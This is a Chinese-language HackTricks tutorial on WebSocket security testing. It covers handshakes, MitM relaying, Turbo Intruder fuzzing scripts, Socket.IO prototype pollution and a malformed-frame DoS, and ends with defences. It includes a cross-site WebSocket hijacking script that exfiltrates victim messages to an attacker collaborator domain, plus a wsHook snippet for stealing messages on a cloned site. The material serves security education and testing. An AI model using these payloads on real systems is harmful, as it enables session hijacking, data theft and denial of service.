WebSocket 攻击
Reading time: 19 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
什么是 WebSockets
WebSocket 连接通过初始 HTTP 握手建立,并被设计为 长连接,允许在任何时间进行双向消息传递,而无需事务系统。这使得 WebSockets 在需要 低延迟或服务器发起通信 的应用中尤其有优势,例如实时金融数据流。
WebSocket 连接的建立
关于建立 WebSocket 连接的详细说明可在here 获取。总之,WebSocket 连接通常由客户端 JavaScript 发起,如下所示:
var ws = new WebSocket("wss://normal-website.com/ws")
wss
协议表示使用 TLS 保护的 WebSocket 连接,而 ws
表示 未加密 的连接。
在连接建立期间,浏览器和服务器会通过 HTTP 进行握手。握手过程包括浏览器发送请求并由服务器响应,示例如下:
浏览器发送握手请求:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
服务器的握手响应:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
连接建立后将保持打开,允许双向消息交换。
WebSocket 握手的关键点:
Connection
和Upgrade
头部标志着 WebSocket 握手的启动。Sec-WebSocket-Version
头部指示所需的 WebSocket 协议版本,通常为13
。- 在
Sec-WebSocket-Key
头部发送一个 Base64 编码的随机值,确保每次握手唯一,有助于防止缓存代理导致的问题。该值不是用于认证,而是用来确认响应不是由配置错误的服务器或缓存生成的。 - 在服务器响应中,
Sec-WebSocket-Accept
头部是Sec-WebSocket-Key
的哈希,用于验证服务器确实打算打开 WebSocket 连接。
这些特性确保握手过程安全可靠,为高效的实时通信奠定基础。
Linux console
你可以使用 websocat
与 websocket 建立原始连接。
websocat --insecure wss://10.10.10.10:8000 -v
或者创建一个 websocat 服务器:
websocat -s 0.0.0.0:8000 #Listen in port 8000
MitM websocket 连接
如果你发现 clients 从你当前的本地网络连接到 HTTP websocket,你可以尝试一次 ARP Spoofing Attack 来在 client 和 server 之间执行 MitM 攻击。
一旦 client 试图连接到你,你就可以使用:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
Websockets 枚举
你可以使用 工具 https://github.com/PalindromeLabs/STEWS 来自动发现、指纹识别并搜索 websockets 中的已知 漏洞。
Websocket Debug tools
- Burp Suite 支持 MitM websockets 通信,方式与处理常规 HTTP 通信非常相似。
- The socketsleuth Burp Suite extension 将允许你在 Burp 中更好地管理 Websocket 通信,通过获取 历史记录、设置 拦截规则、使用 匹配并替换 规则,并使用 Intruder 和 AutoRepeater。
- WSSiP: 缩写自 "WebSocket/Socket.io Proxy",该工具由 Node.js 编写,提供一个用户界面以 捕获、拦截、发送自定义 消息,并查看客户端与服务器之间的所有 WebSocket 和 Socket.IO 通信。
- wsrepl 是为 penetration testing 专门设计的 interactive websocket REPL。它提供用于观察 incoming websocket messages and sending new ones 的界面,并提供一个易用的框架来 自动化 这种通信。
- https://websocketking.com/ 它是一个 web to communicate,使用 websockets 与其他网站通信。
- https://hoppscotch.io/realtime/websocket 除了其他类型的通信/协议外,它提供了一个 web to communicate,使用 websockets 与其他网站通信。
解密 Websocket
Websocket Lab
在 Burp-Suite-Extender-Montoya-Course 中,你可以找到用于启动使用 websockets 的 web 的代码,而在 this post 中可以找到相应的解释。
Websocket Fuzzing
该 Burp 扩展 Backslash Powered Scanner 现在也允许对 WebSocket 消息进行 fuzz。你可以在 here 阅读更多信息。
WebSocket Turbo Intruder (Burp extension)
PortSwigger 的 WebSocket Turbo Intruder 为 WebSockets 带来 Turbo Intruder 风格的 Python 脚本支持和高速 fuzzing。可从 BApp Store 或源码安装。它包含两个组件:
- Turbo Intruder:使用自定义引擎对单个 WS 端点进行高流量消息传递。
- HTTP Middleware:暴露本地 HTTP 端点,将请求体作为 WS 消息通过持久连接转发,因此任何基于 HTTP 的扫描器都可以探测 WS 后端。
用于 fuzz WS 端点并筛选相关响应的基本脚本模式:
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
使用诸如 @MatchRegex(...)
的装饰器来减少噪音,当单条消息触发多个响应时。
在 HTTP 后方桥接 WS (HTTP Middleware)
封装持久的 WS 连接,并将 HTTP 消息体作为 WS 消息转发,以便使用 HTTP 扫描器进行自动化测试:
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection
@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
然后在本地发送 HTTP;body 会被转发为 WS 消息:
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16
{"message":"hi"}
这可以让你驱动 WS 后端,同时过滤“有趣”的事件(例如,SQLi 错误、auth bypass、command injection 行为)。
Socket.IO 处理(握手、心跳、事件)
Socket.IO 在 WS 之上添加了自己的帧结构。通过必需的查询参数 EIO
(例如,EIO=4
)来检测它。使用 Ping (2
) 和 Pong (3
) 保持会话存活,并用 "40"
开始会话,然后发出像 42["message","hello"]
这样的事件。
Intruder 示例:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
HTTP 适配器变体:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
通过 Socket.IO 检测服务端 prototype pollution
按照 PortSwigger 的安全检测技术,尝试通过发送如下 payload 污染 Express 内部:
{"__proto__":{"initialPacket":"Polluted"}}
如果问候或行为发生变化(例如,echo 包含 "Polluted"),很可能你污染了服务器端的 prototypes。影响取决于可达的 sinks;应将其与 Node.js prototype pollution 部分的 gadgets 关联起来。参见:
- Check NodeJS – proto & prototype Pollution for sinks/gadgets and chaining ideas.
WebSocket race conditions with Turbo Intruder
默认引擎会在一个连接上批量发送消息(吞吐量高,但不利于触发 race)。使用 THREADED 引擎来生成多个 WS 连接,并并行触发 payloads 以触发逻辑竞态(double‑spend、token reuse、state desync)。从示例脚本开始并在 config()
中调整并发。
- Learn methodology and alternatives in Race Condition (see “RC in WebSockets”).
WebSocket DoS: malformed frame “Ping of Death”
伪造 WS 帧,其 header 声明一个巨大的 payload 长度但不发送 body。一些 WS 服务器会相信该长度并预分配缓冲区;将其设置接近 Integer.MAX_VALUE
可能导致 Out‑Of‑Memory 并引发远程未认证 DoS。参见示例脚本。
CLI and debugging
- Headless fuzzing:
java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
- Enable the WS Logger to capture and correlate messages using internal IDs.
- Use
inc*
/dec*
helpers onConnection
to tweak message ID handling in complex adapters. - Decorators like
@PingPong
/@Pong
and helpers likeisInteresting()
reduce noise and keep sessions alive.
Operational safety
高频率的 WS fuzzing 可能会打开大量连接并每秒发送成千上万条消息。畸形帧和高发送速率可能导致真实 DoS。仅在授权范围内使用。
Cross-site WebSocket hijacking (CSWSH)
Cross-site WebSocket hijacking,也称为 cross-origin WebSocket hijacking,被视为影响 WebSocket 握手的特定类型的 Cross-Site Request Forgery (CSRF)。当 WebSocket 握手仅通过 HTTP cookies 进行身份验证且没有 CSRF tokens 或类似安全措施时,就会出现此漏洞。
攻击者可以通过托管一个 恶意网页 发起跨站的 WebSocket 连接到易受攻击的应用来利用此漏洞。因此,该连接被视为受害者与该应用的会话的一部分,利用了会话处理机制中缺乏 CSRF 防护的漏洞。
要使此攻击生效,需要满足以下条件:
- The websocket authentication must be cookie based
- The cookie must be accessible from the attackers server (this usually means
SameSite=None
) and no Firefox Total Cookie Protection enabled in Firefox and no blocked third-party cookies in Chrome. - The websocket server must not check the origin of the connection (or this must be bypasseable)
Also:
- If the authentication is based on a local connection (to localhost or to a local network) the attack will be possible as no current protection forbids it (check more info here)
Simple Attack
注意,当建立一个 websocket 连接时,cookie 会被 发送 给服务器。服务器 可能使用它来将每个特定用户和其基于所发 cookie 的 websocket 会话关联起来。
例如,如果 websocket server 在收到消息 "READY" 时会返回某个用户的会话历史,那么通过一个简单的 XSS 建立连接(cookie 会被自动发送以授权受害用户)并发送 "READY",就能够检索该对话的历史。
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
Cross Origin + Cookie 与不同子域名
In this blog post https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ 中,攻击者设法在发生 web socket 通信的域的子域中执行任意 Javascript。因为这是一个子域名,cookie 会被发送,并且因为 Websocket 没有正确检查 Origin,可以与其通信并窃取 tokens。
从用户窃取数据
复制你想冒充的 web application(例如 .html 文件),并在发生 websocket 通信的脚本中添加以下代码:
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}
现在从 https://github.com/skepticfx/wshook 下载 wsHook.js
文件,并将其保存到与 web 文件同一文件夹中.
暴露该 web 应用并让用户连接到它,你将能够窃取通过 websocket 发送和接收的消息:
sudo python3 -m http.server 80
CSWSH 保护
The CSWSH attack is based on the fact that an user will connect to a malicious page that will open a websocket connection to a web page where the user is already connected and will authenticate as him as the request will send the user's cookies.
现在很容易防止此问题:
- Websocket server checking the origin: websocket 服务器应始终检查连接来源,以防止意外页面连接到它。
- Authentication token: 与基于 cookie 的认证相比,websocket 连接可以基于由服务器为用户生成且攻击者无法获知的 token(例如 anti-CSRF token)。
- SameSite Cookie attribute: 当 cookies 的
SameSite
值为Lax
或Strict
时,从外部攻击者页面不会被发送到受害服务器,因此基于 cookie 的认证将无效。注意 Chrome 现在会默认将未指定该标志的 cookie 设为Lax
,这使其默认更安全。然而,在 cookie 创建后的前 2 分钟内,其值将为None
,使其在该有限时段内易受攻击(预计该措施未来可能会被移除)。 - Firefox Total Cookie Protection: Total Cookie Protection 通过将 cookies 限定在创建它们的网站来工作。本质上每个站点都有自己的 cookie 存储分区,以防止第三方将用户的浏览历史串联起来。这使得 CSWSH 无法使用,因为攻击者站点无法访问这些 cookies。
- Chrome third-party cookies block: 即使
SameSite=None
,此设置也可能阻止将已认证用户的 cookie 发送到 websocket 服务器。
Race Conditions
WebSockets 中也存在 Race Conditions,更多信息请参见 了解详情.
其他漏洞
由于 Web Sockets 是一种用于在服务端和客户端之间传输数据的机制,取决于服务器和客户端如何处理这些信息,Web Sockets 可被用于利用其他多种漏洞,例如 XSS、SQLi,或利用来自 websocket 的用户输入触发的任何常见 web 漏洞。
WebSocket Smuggling
该漏洞可能允许你通过让其认为已建立了websocket 通信(即便实际上并未建立),从而绕过 reverse proxies 的限制。这可能让攻击者访问隐藏的端点。更多信息请查看以下页面:
References
- https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages
- https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/
- WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine
- WebSocket Turbo Intruder – BApp Store
- WebSocketTurboIntruder – GitHub
- Turbo Intruder background
- Server-side prototype pollution – safe detection methods
- WS RaceCondition PoC (Java)
- RaceConditionExample.py
- PingOfDeathExample.py
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。